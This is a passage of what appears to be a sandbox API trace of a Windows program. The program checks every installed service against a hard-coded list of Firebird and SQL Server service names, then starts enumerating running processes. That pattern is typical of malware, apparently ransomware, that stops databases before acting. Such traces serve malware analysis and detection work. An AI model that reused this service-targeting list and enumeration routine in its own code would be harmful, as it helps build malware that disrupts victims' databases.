	[0197.641] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0197.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0197.641] lstrlenW (lpString="AppXSvc") returned 7
	[0197.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0197.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0197.642] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0197.642] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0197.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0197.642] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0197.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0197.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0197.642] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0197.642] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0197.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0197.642] lstrlenW (lpString="Audiosrv") returned 8
	[0197.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0197.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0197.642] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0197.642] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0197.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0197.642] lstrlenW (lpString="BFE") returned 3
	[0197.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0197.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0197.642] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0197.642] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0197.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0197.642] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0197.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0197.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0197.642] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0197.642] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0197.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0197.642] lstrlenW (lpString="CDPSvc") returned 6
	[0197.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0197.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0197.642] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0197.643] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0197.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0197.643] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0197.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0197.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0197.643] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0197.643] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0197.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0197.643] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0197.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0197.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0197.643] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0197.643] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0197.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0197.643] lstrlenW (lpString="CryptSvc") returned 8
	[0197.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0197.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0197.643] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0197.643] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0197.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0197.643] lstrlenW (lpString="DcomLaunch") returned 10
	[0197.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0197.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0197.643] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0197.643] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0197.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0197.643] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0197.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0197.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0197.643] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0197.643] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0197.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0197.644] lstrlenW (lpString="Dhcp") returned 4
	[0197.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0197.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0197.644] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0197.644] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0197.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0197.644] lstrlenW (lpString="Dnscache") returned 8
	[0197.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0197.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0197.644] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0197.644] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0197.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0197.644] lstrlenW (lpString="DPS") returned 3
	[0197.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0197.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0197.644] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0197.644] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0197.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0197.644] lstrlenW (lpString="DusmSvc") returned 7
	[0197.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0197.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0197.644] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0197.644] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0197.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0197.644] lstrlenW (lpString="EventLog") returned 8
	[0197.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0197.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0197.644] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0197.644] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0197.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0197.645] lstrlenW (lpString="EventSystem") returned 11
	[0197.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0197.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0197.645] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0197.645] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0197.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0197.645] lstrlenW (lpString="FontCache") returned 9
	[0197.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0197.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0197.645] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0197.645] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0197.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0197.645] lstrlenW (lpString="gpsvc") returned 5
	[0197.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0197.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0197.645] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0197.645] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0197.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0197.645] lstrlenW (lpString="iphlpsvc") returned 8
	[0197.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0197.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0197.645] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0197.645] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0197.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0197.645] lstrlenW (lpString="KeyIso") returned 6
	[0197.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0197.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0197.645] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0197.645] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0197.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0197.645] lstrlenW (lpString="LanmanServer") returned 12
	[0197.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0197.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0197.646] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0197.646] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0197.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0197.646] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0197.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0197.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0197.646] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0197.646] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0197.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0197.646] lstrlenW (lpString="lfsvc") returned 5
	[0197.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0197.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0197.646] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0197.646] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0197.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0197.646] lstrlenW (lpString="lmhosts") returned 7
	[0197.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0197.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0197.646] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0197.646] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0197.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0197.646] lstrlenW (lpString="LSM") returned 3
	[0197.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0197.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0197.646] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0197.646] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0197.646] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0197.646] lstrlenW (lpString="MpsSvc") returned 6
	[0197.646] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0197.646] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0197.646] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0197.646] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0197.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0197.647] lstrlenW (lpString="NcbService") returned 10
	[0197.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0197.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0197.647] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0197.647] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0197.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0197.647] lstrlenW (lpString="netprofm") returned 8
	[0197.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0197.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0197.647] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0197.647] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0197.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0197.647] lstrlenW (lpString="NgcSvc") returned 6
	[0197.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0197.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0197.647] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0197.647] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0197.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0197.647] lstrlenW (lpString="NlaSvc") returned 6
	[0197.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0197.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0197.647] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0197.647] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0197.647] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0197.647] lstrlenW (lpString="nsi") returned 3
	[0197.647] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0197.647] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0197.647] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0197.647] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0197.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0197.810] lstrlenW (lpString="PcaSvc") returned 6
	[0197.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0197.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0197.810] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0197.810] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0197.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0197.810] lstrlenW (lpString="PlugPlay") returned 8
	[0197.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0197.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0197.810] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0197.810] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0197.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0197.810] lstrlenW (lpString="Power") returned 5
	[0197.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0197.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0197.810] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0197.810] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0197.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0197.810] lstrlenW (lpString="ProfSvc") returned 7
	[0197.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0197.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0197.810] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0197.810] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0197.810] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0197.810] lstrlenW (lpString="RpcEptMapper") returned 12
	[0197.810] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0197.810] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0197.810] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0197.810] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0197.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0197.811] lstrlenW (lpString="RpcSs") returned 5
	[0197.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0197.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0197.811] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0197.811] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0197.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0197.811] lstrlenW (lpString="SamSs") returned 5
	[0197.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0197.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0197.811] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0197.811] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0197.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0197.811] lstrlenW (lpString="Schedule") returned 8
	[0197.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0197.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0197.811] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0197.811] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0197.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0197.811] lstrlenW (lpString="SecurityHealthService") returned 21
	[0197.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0197.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0197.811] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0197.811] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0197.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0197.811] lstrlenW (lpString="SENS") returned 4
	[0197.811] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0197.811] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0197.811] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0197.811] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0197.811] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0197.812] lstrlenW (lpString="ShellHWDetection") returned 16
	[0197.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0197.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0197.812] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0197.812] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0197.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0197.812] lstrlenW (lpString="Spooler") returned 7
	[0197.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0197.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0197.812] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0197.812] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0197.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0197.812] lstrlenW (lpString="StateRepository") returned 15
	[0197.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0197.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0197.812] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0197.812] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0197.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0197.812] lstrlenW (lpString="SysMain") returned 7
	[0197.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0197.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0197.812] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0197.812] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0197.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0197.812] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0197.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0197.812] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0197.812] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0197.812] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0197.812] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0197.812] lstrlenW (lpString="Themes") returned 6
	[0197.812] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0197.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0197.813] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0197.813] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0197.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0197.813] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0197.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0197.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0197.813] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0197.813] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0197.813] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x510
	[0197.821] Process32FirstW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0197.822] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0197.822] lstrlenW (lpString="System") returned 6
	[0197.822] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0197.823] lstrlenW (lpString="smss.exe") returned 8
	[0197.823] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0197.823] lstrlenW (lpString="csrss.exe") returned 9
	[0197.823] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0197.824] lstrlenW (lpString="wininit.exe") returned 11
	[0197.824] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0197.826] lstrlenW (lpString="csrss.exe") returned 9
	[0197.826] Process32NextW (in: hSnapshot=0x510, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0197.826] lstrlenW (lpString="winlogon.exe") returned 12
